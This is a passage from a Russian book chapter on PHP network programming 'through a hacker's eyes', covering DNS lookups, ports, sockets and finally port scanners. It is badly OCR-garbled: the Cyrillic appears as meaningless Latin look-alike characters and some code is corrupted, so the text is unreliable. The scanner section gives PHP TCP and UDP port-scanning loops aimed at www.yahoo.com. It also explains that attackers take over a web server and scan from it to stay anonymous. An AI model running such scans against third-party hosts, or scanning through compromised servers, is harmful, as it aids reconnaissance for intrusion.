HHX [IOJDKHA [IPOHCXOIUTH ABTOPH3ALLHSL,

5.5. Pabora c ceTbio

Mmui pacemarpusaem sispik PHP ¢ Touyku 3penus xakepa, a 910 He Tonbko Geso-
NAcHOCTh WM ONTHMMU3ALMS, HO W ceTeBoe nporpammuposanne. JlioGoii xakep
WM BIIOMILMK MpocTo 06si3aH OTIHYHO 3HATHL CeTh W MporpaMMHpoBaHne cere-
BhIX MIPUIOXKeHW. MUMeHHO 3TO noMoraer 3/oyMbIIUIEHHHKAM BO B3NOME, CO3-
nanuu nporpamm backdoor, uryrok Ham anMMHHCTpaTopamu cepsepos M T. 1. He-
KOTOpBIE M3 CETEBBIX TPIOKOB XaKepoB HaM NPEICTOUT PAcCMOTPETh B JAHHOM
KHHIe, HO CHavaia paccMOTPUM CETeBble BO3MOXHOCTH MHTepnpetatopa PHP.
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51 nocrapaiochk onuckLBaTH PaboTy C CETHIO MAKCHMA/IBHO MPOCTO, HO BCE XKe Bam
HeoBXOmAMO NMOHWMATh, Kak paboraer cers, nportokonst TCP w UDP, ommdus
B HMX, YTO Takoe fararpamMma w T. A [lpu paccMoTpeHWN TEOpHH ¥ TPAKTHKH
CETH MbI orpaHuuumcst paboroii ToNsKO ¢ WHTEpHET-TIpoTokosaMu. CoKeTsl Mo-
YT HCMONB30BATECA W Ut COEIMHEHUSI MEXIY NpouUeccaMn, HO 3TY TeMY MBI
paccMaTpHBaTh He Oyzaem.

5.5.1. PaSoTa ¢ DNS

Bee Mbl MpUBBIKIH paboTaTh ¢ CHMBONBHLIME aapecaMy KoMnsioTepos B MHTepHe-
Te, HO TONBKO MHTEpHET He MOXET ¢ HUMH paborarh 6e3 crnetnanbHol cinykOb!
DNS (Domain Name System, ciyx6a umen nomeron). [Una agpecaumy KOMIbIOTe-
POB B CETH HEnone3yloTes uncnonsie IP-anpeca, a cUMBO/TbHBIE CIOBA — 3TO BCEro
b neerouMmbl. Korna sel sanmpauivsaete cOeAMHEHME C CEpPBEPOM 110 CHM-
BOJILHOMY MMEHH, TO CHa4aja 2To HMs npespaiaerces B IP-anpeca ¢ nomolsio
cnyx6pl DNS, # TonbKko HOTOM NPOUCXOANT coenHHEeHHe ¢ noxydeHHbIM 1P,

HUrak, mna onpeneaenun IP-anpeca uenonb3ylorest PyHKUMY gethostbyname () M
gethostbynamel (). OGeuM (GyHKUMAM HYKHO MEpelaTh B KayecTse napamerpa
uMs KoMmnbiotepa, IP-aapec kotoporo Bbl xotute yaHate. B kauectse pesyns-
Tata (YHKUMA gethostbyname() BO3BpAlNacT nepsbii Haiizennuii IP-anpec,
a gethostbynamel () BO3BpAIAET CIMCOK BeeX HAMAEHHBIX ApecoB. [leo B TOM,
4TO 38 OAHMM UMEHeM Moxer OwiTh 3akperuieHo Heckonsko IP-aapecos. Ecau
BAM HYKHO MPOCTO CO3NATH COEMMHEHHE, TO MOKHO BOCIONb30BATHCH (BYHKUMEH
gethostbyname (), 3TOro BIOJIHE JOCTATOYMHO.

Pacemorpum npumep onpenenenus IP-anpeca o foMEHHOMY UMEHM;
<?php J : : ;
$host_ip = gethostbyname ("www.yahoo.com") ;
print ("¥ Yahoo IP ampec: $host ip"):;
>

Huorna Geisaet HeobxonuMO BBINOAHHTL 0OPATHYIO onepauiio — npeobpasosars
IP-agpec B nomerHoe uMi. st 3T0ro Hcnonbayercst (PyHKUMA gethostbyaddr ().
Oroit dynxkunu HyxHo rnepenars IP-anpec, a B peayn;s?a're MBI TOAYYUM ITOMEH-
HOE NMsI:

$name=gethostbyaddr("127.0.0.1%) ;

print {"Your computer name: $name");

VY Kaxaoro CHMBOJNBHOrO MMEHM obsisaTensHO AOMkKeH Guith IP-ampec, uHave
cereBoe coenunenune Oymer HemoerynHo. Ho npw atom He y kaxagoro [P-anpeca
ecTh MMsl, WIH, BO3MOXHO, [POCTO HE CYLIECTBYET cooTBercTByiomas DNS-
sanuch. B aTOM cayuae QyHKUMS gethostbyaddr() Bo3Bpawiaer He nms, a IP-
azpec, KOTOpPEIA BBl yKa3alu B apaMmerpe.

Ausipec 127.0.0.1 coorseTcTByeT JOKATbHON MalnHe, W Ut 9Toro aapeca (hyHK-
1Ms1, yaille scero, posspaiuaer nms localhost.



250 Mnasa 5

5.5.2. NMpoTokons!

st nansHeHero paceMoTpeHns TeMbl HEOOXOMMMO MOHMMATH, YTO TaKoe MopT.
JonycTHM, YTO Ha BallieM KOMITBIOTEpe 3amylieHo ase cayxbsr — Web u FTP.
KoMnbiotep monyuaer naxker AAHHBIX, HO B HEM He HAlWCaHO, Kakoit cnyxGe
HYXXHO noakmounTeest. Kak xe Torna onpesenuts, KTo AomkeH obpaborars 5ToT
naker paHHbIX? Bor Kak pas juis 3TOro M HCMOJB3YIOTCS HOMepa NopToB, KOTo-
psie ecth y npotokonos TCP (u ero npoussonusix FTP, HTTP, POP3, SMTP ..)
u UDP.

Kaxnas ciyx6a samyckaercs Ha onpeieeHHOM rnopry. Y SoMblIMHCTBA pacnpo-
CTpaHEeHHBIX MMPOTOKOJOB HOMEpa MOPTOB 3apaHee OnpeneNeHbl, HO MOryT ObiTh
HasHaYeHsl M npoussoibHo. Hanpumep, FTP paGoraer na mopry 21, a Web-
cayxba paboraer Ha nopry 80. Kaxastit TCP- win UDP-naker unentudmumpy-
erca [P-agpecoM KoMMbiOTepa, KOTOPOMY OH AO/KEH ObITH HOCTABNEH, U HOME-
POM TIOPTa, TIO KOTOPOMY ONpe/eNsieTcsl CepBrC-TIoNyyaTeNs naKera.

Jis ynoGeTsa OCHOBHBIM MOpTaM HA3HAYeHs! wMeHa. Her, oHH onpenengiorcs He
AMHAMUYECKH, @ MPOCTO NMpOMMcaHbl B KoHGUrypaunorHoM daiine (wis OC Li-
nux sto gaitn /etc/protocols), Mo3TOMY AOBEPSITH HMEHAM HE CTOMT, TAK KaK OHM
MOTYT GHITH M3MEHEHBI, 1a W HAa MopTy ftp MoXeT GbITh 3amyileHa COBEpILEHHO
apyras ciyxo6a.

Yrobel onpeesinTs NOpr 1Mo ero UMEHH, UCMofb3yercs QYHKIMS getservbyname (|,
KOTOpOii nepesaercst HMs MopTa ¥ UMs mporokona (tcp wim udp), a B pesynbrare
MBI TIoNyyaeM Homep mopra. OBparHasi onepaums BBITONHAETCS C [OMOILBI
dyHKUMM getservbyport (), KOTOPOi TNeépeaeTcss HOMEp MopTa U UM MPOTOKO-
na. 3auem HyxeH nporokon? [leno B ToM, uro noptei nporokonos TCP u UDP
passsie. [Topr 21 nporokona TCP — He To Xe camoe, uro y UDP.

Yro takoe nporokon TCP u UDP? TCP — ocrosHoit npotokon UxTepHera, Ko-
TOPHIH HCTIONB3YeTCst B HACTOsIEe BPEMA NpakTHYecKH Ha Kaxnom wary. Mpuu-
uun ero paboTsl 3aKIMIOMAETCS B TOM, YTO MpPOrpaMMa-cepBep 3anyckaer mnpociy-
WIHBAHME HA ONPEAENEHHOM MOPTY B OXWIAHHM COSIMHEHMS! CO CTOPOHbI
KinenTa. KiMenT ycTaHasImBaeT COeWHEHHe ¢ CepBepoM, # TOCIe ITOr0 MOXeT
npoucxonuTs ooMen aaHHbIMU. [lo okoHyaHMM oOMeHa NaHHBIMM COCAMHEHWE
sakpripaercs. [Ipu mepenave JaHHBIX MPOTOKOJ rapaHTHUPYET, YTo AaHHsie Gyayr
nepenaHsl BEpHO, U HU OAMH maker He Oyzer norepsH, 6aaronaps cucreme noa-
TBEPXIEHHSA MMONYUECHNS TaHHBIX.

Tporoxon UDP ommmyaercs Tem, 4To He ycraHapiupaer coemwHeHus. Cepsep
CO3[A4ET COKET M MpOCAYIINBAHWE HA ONpPENEICHHOM TIOPTY, & KIMEHT MpH nepe-
Nlaye JAHHBIX, HE YCTAHABIWBAS COCAMHEHMS, INPOCTO OTNPABNAET NAHHBIC HA
cepsep. [IpOTOKO/ HE rapaHTHPYET LENOCTHOCTH NAHHBIX M HE rapaHTHpyeT Jo¢-
tasku. Eciiu cepsep He JOCTYIIEH MWW NaKeT JAHHBIX MPOCTO 3aTepsiics B CeTH,
NaHHbe OYNYT YTepsHBL
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5.5.3. Cokerbi

[nsi cospamusi ceresbiX NMporpamMM (Co3faHue COSAWHEHHA W TIpHeMa-mepenayn
JAHHBIX) CTAHAAPTOM Jie (hakTo cTaau cOKeTsi, KOTOpble nomiepXxupalorces 6onb-
wunersoM OC, takumu kak Windows u Unix. Msi Gyiem paccMarpusarh (yHK-
LMK W Mapa/ieibHO 3HAKOMHTBCH C TeM, KaKk paboTaioT COKETEL

Ecnu Bel paboranm ¢ cetAMM Ha KakoM-InGo f3bIKe TpPOrpaMMHUpOBAHUS; TO
bynxuun PHP Gyayr BaM 3nakoMsl, 0cobeHHO MX NapaMerphl M MpUHUMI pabo-
Tol. ECJIH JKe ¥ Bac HeT OIbITA MPOrpaMMMUPOBAHHUA CETH, TO HEKOTOpPbIE BOIPOCH!
MOKAXYTCcsl BaM CIOXHBIMM. OJlHAKO, IMOBEpETE MHE, Kaxias (GyHKumMs HeobXxo-
JuMa, U OT Hee HUKYNA He eThes.

Ceressle ()yHKLUUH BO3BpAILAIOT B KAYECTBE pesyabrara Leioe uucno. Ecan oHo
MeHbllle HYIA, 3HAYUT, BO BPEMS BBHINMOJHEHMS DYHKUMM Mpousonna owubka.
TexcroBoe onucawue owMGKM MOXHO Y3HATE € IOMOWILIO  (PYHKIMM
socket_strerror (). Yaue Beero ommbKU MPOUCXOAAT, KOra CETb HeIOoCTYyMn~
Ha MAM TMOPT yxKe 3aHaAT (3Ta ouwrmbka Bo3uukaer npu pabore ¢ QyHKuUMelt
socket_bind()). [lBe nMporpamMmbl HE MOTYT OTKPBITh OIMH H TOT Xe€ MOpT.

Unnymanusaumnsa

Camoe nepsoe, 4TO HeOOXOANMMO C/Ie/IaTh, — CO3/ATH COKET, Yepe3 KoTophlit Oy-
AeT NPOUCXOAUTH Best nocneaywowtas paGora. s 5T1oro ucrionbayeres hyHkums
socket_create (), KoTOpas B o0llieM BUAE BBEIJISAAHT Tak:

int socket_create(int domain, int type, int protocol)

VY aToif HyHKUMM TPH napaMeTpa:

) nepsslif MapaMeTp MOXeT NPUHHMATE OIHO M3 ABYX SHAYCHWIL!

e AF_INET — yKasbiBaeT Ha HeoOXOZMMOCTh MCHOIb3OBAHMSA, MPOTOKONA Ce-
meicrsa Mureprer. K Takum nporokonam orsocstes TCP, UDP, FTP,
HTTP, POP3 u t. 1.;

® AF_UNIX — HCIOJb3yeTcs MUTA B3aMMOmeicTBUA MeXny npoleccami;
O sTopo#f MapaMeTp MOXeT NPHHHUMATh OHO M3 CHAEAYIOMINX 3HAYCHHIL:
* SOCK_STREAM — NpPE/NHCHIBACT HCMIO/BIOBATS MOTOKH, T. €. MIPOTOKO/ TCP

e SOCK_DGRAM — ORpefeNsieT HCeMoab3oBaHue npotokona UDP, Kotopsiit He
Tpebyer YyCTAHOBKM COEANHEHUST;

e SOCK_SEQPACKET — FapaHTHPYeT TOc/IeN0BaTe/IbHYI0 NOCTABKY [AaKeToB,
Takas nepejadya AAHHBIX MOXET ObITE TMONE3HA MPH [Epenavye 3BYKA WIH
BUIIEO;

* SOCK_RAW — YCTAHABIHBAET CETeBO ypoBeHb B3auMoneicTais (mporoxon IP);

* SOCK_RAW — ONpeieNisier nepenayy faHHbX Ge3 yCTAHOBKM coenﬂnem,
HO TIPW 9TOM Tepeaya TaHHBIX rapaHTHPYETCH,
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O B nocnensem napamerpe paspaborunku PHP sanymbiBanu ykassisath HpoTo-
KON, HO MOXHO yKasbiBath uucio 0, noromy uro Tun npo'romna Mbl M TaK

YKa3biBaeM BO BTOPOM MapameTpe.

B Kauecrse pesynbrara GyHKUNS socket_create() BOSBPAIIAET YMCNIO, KOTOPOE
H YKA3bIBAET HA CO3NAHHBIH COKeT.

CepsepHble pyHKUMMN

PaccMoTpuM NMOOYEPEHO cepBepHbie U Kiuentckue dyHxumu. s cepsepa no-
cfie CO3aHMsl COKETA HeoOXOIMMO CBA3aTh 3TOT COKET C JIOKAILHBIM anpecom
€ TIOMOLIBIO PYHKIIHH socket_bind()!

int socket_bind(int socket, string address [, int port])

Y aroit GpyHKUHH TPH napaMeTpa:

O cosnanublil ¢ moMomso GYHKUMKH socket_create() COKET;

O noxkansusiit 1P-agpec;

0 nopr.

Crenyomas HpyHKUMSI socket_listen() NO3BONSET 3aMYCTHTh NMPOCHYIINBAHKUE

ropTa, BO BPeMsi KOTOPOro nporpamMma Gyser oXuaars NOAKTIONEHUS Ha NOPT €O
CTOPOHBI KIMEHTA:

int socket_listen(int socket, int backlog)
3pech y Hac j[Ba napaMeTpa — CO3AaHHBI COKeT W MAKCHMANBHOE KOMHYECTHO
NOAKIIOYEHHH, KOTOPBIE MOTYT HAXOMUTHCS B OYEPEN.

IMpocnyurnsanmue  HavYanoch, M TeNeph MBI TOTOBEI MPHHUMATE MOMKTIOYEHUA
KaneHTOB. BoisbiBaeM (hyHKIHIO socket accept (). B 370T MOMEHT BbINOIHEHNHE
cueHapya GIOKMPYETCs 40 TeX Nop, NoKa He GyzeT noiyueHo HOBOE COEAMHEHHE.
Kak Tonbko K MOpTY, OTKPHITOMY Balleil rmporpaMMOH, MPOM30ULTO TOAKIIOUS-
Hue, GYHKIUMS cOo3lder HOBbIH COKET M BO3BpalLaeT ero AECKPUIITOP. DTOT COKET
HUKaK He CBA3aH C TeM, KOTOpbIN Bbl CO3/IaBANM NPH WHHIUHATH3ALINK, @ PeaHa-
aHaveH JUisi o6MeHa JaHHBIMH C KITHEHTOM,

Knuentckue chyHKUMM

Y KrneHTa Bce HAMHOIO MpOLIE — JOCTATOYHO TONLKO CO3AATH COKET ¢ hyHKLM-
eif socket_create() M yXe MOXHO TIOAKIIOYATHECH K CepBepy, Bei3biBas (yHk-
LIAI0 socket_connect():

int socket_connect(int socket, string address [, int port])

Y aroit dyskunn Tpu mapamerpa:

O coagaHHbI ¢ NOMOIILIO (HYHKUHH socket_create() COKET;

O 1P-axpec komMnbioTepa, ¢ KOTOPHIM HEOBXONMMO COCIMHHTBCS,

0 nopt, Ha KOTOPOM YAANEHHLIH CEpPBEP 3amyCcTH MPOCAYIIHBAHHE.
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Ha nepsoiit B3misi, pabora ¢ cerbio HJOCTATOYHO CIOXKHA, TIOTOMY YTO 'rpeﬁyema
BBITIONIHUTE HECKOJIBKO LIATOB!

L. _ Coanars coker.
2. Ecnu y nac cumBosibHbIL anpec, To ero neobxonumo nepesecty B 1P,
3. CoeaMHHTHES © CepBepoM.

IMpyx sTOM HA KaXAom 9Tane HYXHO IPOBEPATH pesyibTarT Ha OuinbKy, w ecm
OHa ecTh, TO KOPPEKTHO obpabGaThiBaTh HEWTATHYIO CHTYALIMIO.

Yrobbl ynpocTUTh XU3HE MporpaMMHCTAM W caenathk Koin Gojfee HamIsIHBIM,
B PHP 6ty BHeapens ase dyHkumMn: fsockopen() ¥ psockopen(). OHU Bbl-
NIOMHAIOT BCe TPW IAra, ONMMUCAHHEIC BhIlE, W TPH 3TOM KOPPEKTHO obpabarei-
BAIOT BOSMOXHBIE OINOKKH. DYHKUNHM BLITJIAIAT CXOKHM oﬁpaaoM " uuem OofiH~
HAKOBbIE MapaMeTphi: T

int fsockopen(string host, int port,
int errno, string errstr, double timeocut)

3nech y HA4C LEJMBIX MATH MAPaMETPOB, NEPBbIe ABA W3 KOTOPEIX ABMMIOTCS 0653a-
TE/IBHBIMH: . ,

[P-anpec muublompa, c xo‘ropsm ucoﬁxonm coezmumwn
MnopT, Ha KOTOPOM. YAANeHHbIH cepBep 3anyCcTHIl MPOCHyILHBAHKE;

riepeMeHHasn, B KoTopyio Oyaer sanucaH kon owubku. B ciyuae KoppekrHOi
paborsl GpyHKUHH B 3TOM nmapaMerpe Mbl yBuaum 0;

CTPOKA, KOTOPAsi COAEPXHT TEKCTOBOE ONMHCAHKE BOIHMKIIEH OmHEKN;

BpeMsl OXKHIAHWS B CEKYHAAX, B TeYEHHe KOTOPOro HYXHO OXMIATH COEanHe-
vust. Ecnu Bpemsi BBILLIO, TO CYNTACTCS, YTO COEANHEHME Henoc'rynuo W pa-
6ora dpyrkuun Gyser npepsana.

Yem omnnyaoress GyHKuMK £sockopen () W psockopen()? OBe oHW conepxar
OIMHAKOBOE KOMMYECTBO NApAMETPOB, HO MepBasi yCTAHABIMBACT COelMHeHHe
TONBKO Ha BpeMsi paboTsl CLUEHAPHS, 4 MOCHe BHINONHEHNS psockopen () coeau-
HeHHe OyleT CoOXpaHeHo naxe nocie 3apepiieHus pabotst cienapus, Mcronsayii-
Te QYHKUMIO fsockopen (), KOMIA HYXHO CO3[aTh KPATKOBPEMEHHOE COEmMHe-
HHE, KOTOPOE MOXHO Cpasy MOC/e BHIIOJHEHHs! CLEHApUst 3aKphiTh. Eciu
Tpebyercs JONTOBPEMEHHOE COCAMHEHUE; B TEYEHME KOTOPOTo [ONb30BATENb
NOJIKEH MMETh BO3MOXKHOCTh BBOAA M mpocmoTtpa MHbOpMAaunu, TO Goablue noa-
XONT psockopen ().

INocMmoTpuTe HA NMpuMep MCMOJBL30OBAHHUA (YHKLUUHN psockopen () MU COSANHE-
Hus ¢ noprom 80:

$s=psockopen (" servername. com”, 80);

Tlo ymonuanuio GpyHKums srbupaer nporokon TCP. Ecm say ueoﬁxom UDP,
TO B HAYAIO Apeca HeoBXOMMMO 106ABHTL UMst MpoTokaaa udp: //, Hanpumep:

$s=psockopen ("udp: //servername.cam"”, 80);

QQ [JI:IE]



254 Mnasa 5

OyHKUMS BO3BpAlLAeT HAM HAEHTHDUKATOP coKera, ¢ KOTOPBIM MOXHO paborars
JUISL NepeaYyr 1 monydeHHs AaHHBIX OT cepBepa.

O6MeH AaHHbIMU

Mgl nogouUITH K TOMY, Paii Yero paccMaTpuBaioch Tak MHoro QyHKuMit, — o6-
MEH NAHHBIMU ¢ YIANCHHbIM KOMIbIOTEpOM. Panu 3T0ro Mbl co3nasaim cogauHe-
Hue. [List nepeayn JAHHBIX HA YAANCHHBI KOMIBIOTEpP HEOOXONMMO BEINOIHUTS
(byHKUMIO socket_write():

int socket_write(int socket, string &buffer, int length),

3nech Tpu napamerpa:

0 OTKpHITHEI COKET ¢ YCTAHOBNCHHBIM COSAMHEHHEM, HA KOTOPBIH HYXHO nepe-
JaTh AaHHBIE;

0O Gydep naHHbIX, KOTOPBIE MBI OTIIPABISAEM;

O pasmep nepenaBaeMbIX JaHHBIX.

B kavectBe pesynsrata QyHKLUHSI BO3BPAIAET KONMYECTBO PEANTbHO TMEpPeJaHHBIX

6aiiToB.

Ansi monydeHWst NAHHBIX OT YAANEHHOro KOMITIOTEPa HMCmoabayercs QyHKius
socket_read():

string socket_read(int socket, int length [, int type])

¥ 3r1oii hYHKLUMK TAKXKE TPH Mapamerpa:

O OTKPBITBIA COKET ¢ YCTAHOBIEHHBIM COGMHEHNEM, ¢ KOTOPOTO HYKHO unTarh
JAHHbIE;

0 xonuvecTBo GaiiToB, KOTOPBIE MBI IOJDKHBI IIPHHST;
O nocnenHuit mapaMerp MoXeT NPHHHUMATE OHO M3 CNSAYIOUIMX 3HAYCHU I

* PHP_BINARY_READ — GMHApHOE YT€HHe AaHHBIX, KoTopoe Oyaer mpopoi-

Xarbest, noka GyHKLHMS He MOAYYUT BCe NaHHBIC HIIM YKA3aHHOE KOIuJecT-
Bo BaiitoB;

¢ PHP_NORMAL_READ — CHMBOJIBHOE “YTeHMEe NaHHBIX, KoTopoe Oymer mnpo-
JOJKATHCH, TIOKA (YHKUMS HE TONYYWT YKAa3saHHOE KOJMYECTBO NAHHBIX,
WIN He BCTPETUTCH OAWH W3 CHMBOJNOB: \n (KOHEL crrpoxu) Wiu \r (Bo3-
BPAT KApeTKH).
B kayecTBe pesynerara Mbl TOJYYAEM CTPOKY JAHHBIX.
XoTsl nocreaMuil mapameTp He sBAsieTcsl o0s3arenbHbIM, S PEKOMEHIYI0 Beeria
VKa3bIBATh €r0 SBHO, TaK Kak B pasHbiX Bepcusix PHP 3xauenue no ymomuanuio

VIt 3TOTO TIApaMeTpa MoXerT ObITh PA3HBIM, NOITOMY NP MEPEXONE OT BEPCHMU
K BEPCHH PE3YJIBTAT MOXET OTAHYATHCS.



Ynpasnexue cokeramu

Y PHP ecTb Be GYHKUNN, C TIOMOLLBIO KOTOphLIX BEl MOXETE YMPaBiATh COKETa-
. Tleppas yHKUMs socket_set_timeocut() MO3BOJSIET 3a4aTh MAKCHMANLHOE
BPEMST OXKHIAHUS BITIOIHEHUS OTepauuu:

boolean socket _set.timeout(int socket, int sec, int mic)
PaccmorpuM mapamerpsl 3Toi byHKIIHH;

O coker, mapamMeTphl KOTOPOIro HY>XHO H3MEHWTS;

O KoJWYEeCcTBO CeKYHA,

O KoNH4ecTBO MUKPOCEKYHI,

Ecnu B TEYEHHE YKAIAHHOTO BPEMEHH HE MPOMCXOAMT HUKAKMX OMepalMil mepe-
[a4H/TONYYEHHS! IAHHBIX, COKET 3aKpbIBACTCS.

Bropas dyrkums, socket_set_blocking (), MOIBOASET HUIMEHUTH PEKHM paboThl
cokera. Ilo ymonuanuio ox paBoraer B GIOKMpPYIOLIEM pexXuMe, NPU KOTOPOM pa-
Gora clueHapus 3aMOPAXHBAETCs MPH BbINOAHEHMH (YHKIMM socket_accept().
Ecim mepesecTy coKeT B HeOMOKHPYIOUWIHIA PEXHM, TO B Cly4ae OTCYTCTBHS CO-
enuHeHu# QYHKUHS socket_accept () BepHeT owbKy. Brl MoXere mpoaomkKuTh
BBITIOJTHEHHE CHEHApHsl M Yepe3 KaKoe-TO BPeMs MOBTOPHTh MOMBITKY MPHHSTHS
COBIMHEHHSI CO CTOPOHBI KIMEHTA.

OyHxuuy yTeHMs Takke GIOKMPYIOTCS, MOKA KOMMBIOTEP HE MpUMET Bee Heob-
XOmMMbIe AaHHbIe, B HeGIOKHPYIOLIEM peXuMe H OTCYTCTBUM NAHHBIX (yHKUNA
socket_read() BO3BpaliaeT owmubKy, ¥ cueHapuil MoXer nponom's BEITIONTHE-
HHE, 3 MOMBITKY YTEHUS MOXHO TIOBTOPUTD [TO3XKE,

B obiiiem Bune GyHKuMs socket_set_blocking() BHIISIMT CASAVIOMIMM 06-
Pas’oM;

int sockeuan_blaeking(int socket, int mode)

TepBblit MapaMeTp — COKeT, PEXHM KOTOPOro HYXHO uamennuth. Eciu BTOpOit
napaMeTp paBeH true, TO COKET OyaeT GIOKUPYIOLUM, HHAYE HEDIOKHPYIOULNM.

5.6. CkaHep noprtos

Kakoit 661 npiMep HaM pPaccMOTPETh, YTOBE! OH COOTBETCTBOBAN TEMATUKE KHUTH U
APH TOM [EMOHCTPUPOBAN HA MPAKTHKE COSAWHEHME C YAANSHHBIM KOMMBIOTE-
pom? Henmonro aymas, s BeIOpan ckaHep MOPTOB, KOTOPLIH MO3BOJSET XaKepy ya-
HaTh, KAKHE MOPThI OTKPBITHl HA CepBepe, @ 3HAYMT, Kakue c/yKObl Ha Hem paGo-
taior. Ho CKaHMpPOBaHME CO CBOET0 KOMHABIOTEPA CAMLIKOM OMACHO, MOTOMY YTO
a[IMMHMCTPATOP JIETKO MOXET BBIMHCIHTD, OTKYIA MPOM3OLII0 CKAHHPOBAHKE.

Yro npencrannsier coboit ckavep nopros? Yrobbl y3HATb, OTKPHIT MOPT WM HET,
HEOBXOAMMO MOMBITATECA K HEMY NOAKMIOYUThCA. ECiM noixkmoyeHue npousom-
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JI0 YAaYyHO, TO Ha YAANeHHOM cepsepe Kakas-nnbo cayxba oTkpbisia aror nopr
B OKMIAHUK NOAKITIOYeHHH. Ec/ii noaAKnOYeHIE HeyAauHO, TO MOPT 3aKphIT.
Y7o6sl OCTATHCA HEBHIMMBIM, Yallle BCENo BIMOMILMK 3aXBaThIBAeT Kakoi-nnbo
Web-cepsep B MHTepHere, ycTaHasauBaeT HA Hero cBoi cueHapuit M npou3BonuT
CKaHMPOBaHHE C ITOTO CEPBEPA, OCTABAACH IPH 3TOM AHOHMMHbLIM. [asaiite no-
CMOTPHM NPUMEp CLEHAPHS, KOTOPEIi CKAHUPYeT nepnue 1024 nopra:
<?php .
for (Si=1; $i<=1024; $i++)
{
$s=socket_create (AF_INET, SOCK_STREAM, 0);
$res=@socket_connect{$s, "127.0.0.1", $i);
if ($res)
print {"<P> [lopr oTkperr $i");
}
7>

Bor takoii HeGonbiuoit pparMeHT Kofla moMoraerT Xakepy MOAYYHTh AOCTATOYHO
MHOro uHdpopManuu ob yaaneHHoM Komnbiotepe. [Tpumep paGoTsl cueHapus:

Mopr orxpurr 21 (£tp)
Nopr oTkpur 22 (ssh)
Mopr orxpur BO (http)

Tenepb MOCMOTPUM, HYTO MPOMCXOAHT B CUEHAPMM. 3anyckaem UHIUL, KOTOPbI
Gyaer sumonusThes or 1 mo 1024 pas. BuyTpn uMkia CO3NaerTcs COKET ¢ MOMO-
b0 QYHKUMM socket_create(). CKaHMposaThcsi OyAyT mOpTHI MHTEPHET-
nporokona TCP, nostomMy B KayecTse MEpBOro NapaMerpa NepefaeM AF_INET
(ykasbiBaeT Ha HEoOXOAMMOCTh HCHOAB30OBAHMS WHTEPHET-nporokona). Bropoi
napaMeTp paBeH SOCK_STREAM, YTO COOTBETCTBYeT cemeifcrsy mpotokonos TCP.
Tperuit napamerp obHyseH.

Ha crenyiomem arane meiTaeMest COSAUHUTLCS C NMOPTOM $i C MOMOUIBIO (yHK-
UM socket_connect (). Ecnu coeinHeHWe HeBO3IMOXHO, TO (DYHKIMSI BepHer
ourubky, koropasi Oyner orobpaxena Ha dopme. Yrobsl noasuts coobenue 06
owinbke, nepes UMeHeM (PYHKUMH MOCTAaBUM CHMBOJ @. Pe3ylbTar BEINONHEHHA
GYHKUHH cOXpaHAETCA B NepeMeHHO! $res.

Teneps nposepuM pesynbrat. Eciii oM paBeH true, TO NOPT OTKPHIT, MOSTOMY
BBIBOAMM Ha 3KpaH COOTBETCTBYIONIEE cooblleHue.

Bbl noMXHBI yYWTHIBATH, YTO TaKOE CKAHWHPOBaHHE NAJIEKO HE BCErIa BepHO.
KpynHbie caif™sl MMEIOT AOCTATOYHO MHTEUIEKTYANbHbLIE CPEACTBA MpeaoTBpa-
weHus cxkauuposanus. O ToOM, Kak aIMUHHCTPATOphl 3amMiualoT Linux-
cepBepbl OT CKAHUPOBAHMSA TIOPTOB, BbI MOXeTe MPoYHTaTh B KHuTe "Linux ria-
3amu xakepa” [1].
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Y;Jlmlm sanavy. [lasaiite cnenaem tak, yrobs IP-anpec onpenensicsi B Kone
cueHapusl, T. €. 4Tobbl MOJIB3OBATE b MOF NepesasaTh MMsi KoMnbiotepa. [Tomumo
atoro, Oyaem orofGpaxars HE TONLKO HOMEP OTKPLITOrO MOPTA, HO H €ro MMs.
PaccmoTpim npumep Takoro clueHapus:
<?php
Shost_ip = gethostbyname ("www.yahoo.com") ;
for ($i=1; $i<=100; $i++)
{
$s=socket_create (AF_INET, SOCK_STREAM, 0);
$res=@socket_connect ($s, Shost_ip, 5i);
if ($res)
{
$portname=getservbyport ($i, "tcp");
print ("<P> Mopr orxpur $i ($portname)");
}
}

7>

PeaynsTar BBINONHEHUS CUEHAPHS:

Hopr orxpum 21 (£tp)
Mopr orxpwr 22 (ssh)
Topr orkpur 80 (http)

B arom npHMepe, npexie YeM BBINOMHATE LMK, Mbl onpenwtneu 1P-aapec yka-
3aHHOTO KOMMBIOTEPA C MOMOILBIO (PYHKIIHI gatﬁnﬂ’t:bynmau Eimi ‘nonb3oBa-
TENIb YKAXKET He MMS KOMNBIOTEpa, a ero aapec, To (pyuxuua HUYero npeobpaso-
BBIBaTh HE BYET, a mpocro BepHer 31oT Xe IP.

Tak Kak Mbl B LMK/ COSAMHSEMCS C ONHUM H TeM Xe xounhmepou, TO trroﬁu
He ONMPEeAesiTh MMs HA KAXIOM Liare, Bbi3oB QYHKUHH gethostbyname () BbiHe-
CeH 32 Mpenesbl LUKIA.

Koraa wHaitneH oTKpBITHI MOPT, MBI OMpejeisieM ero MM ¢ MOMOWBIO DYHKUHK
getservbyport (). OToll GyHKUMH nepefacTcs HOMEP HaASHHOro MOPTA ¥ WUMA
NPOTOKONA LCp, MOTOMY 4YTO Mbl CKAHHPYEM HMEHHO 3TH IOPTEL _

B nuctunre 5.4 Mmoxuo ysuaers ckasep nopros UDP. Tyr Bcero aBa omIMyusi ot
TCP-ckanupoBaHus:

0O VY ¢yHRuMn socket_create() BTOpoil napamerp paBeH SOCK._DGRAM, YTO CO-
orsercreyer UDP-nporokony.

O Tlpu onpeseneHnu WMeHH cyxGsl y GYHKUMN getservbyport () BTOpo#l ma-
paMeTp paseH udp.



<?php ! .
$host_ip = gethostbynm('m yahoo.com" )y
for ($i=1; $i<=100; $i++)

{ |
$s=socket_create (AF_INET, SOCK_DGRAM, 0);
$res=@socket_connect ($s, $host_ip, $i);
if ($res)
{
$portname=getservbyport($i, “"udp");
print (“<P> [lopr orxpur $i ($portname)”);
}
}
™

Hawr ckanep nopToB HE ONTHMW3MPOBAH, W s CUMTAKD, YTO €ro HALO ONTUMM-
suposate. llukn semonwsiercs 1024 pasa, W KaxIsli pa3 MBI CO3JAEM COKET
C MOMOIIBIO DYHKUHH socket_create (). DTO OTHUMAET JTMUIHHE PeCYpehi cep-
BEpa # BpeMs, a Bellb COKeT HYXKHO CO3NABATH 110 HAYANA LMKJIA M TOC/e ycrei-
HOTO COEIMHeHUs ¢ cepsepoM. Eciii coefmHenye NpOIUIO HEYIauHo, TO MOXHO
Gea BBI30BA socket_create () [BITATHCS NOAKIIOYUTHCS Ranpymﬁ nopr. B nwe-
THHTE 5.5 MOKa3aH ONTHMHU3UPOBAHHEI BAPHAHT CKAHNPOBAHWA.

<?php
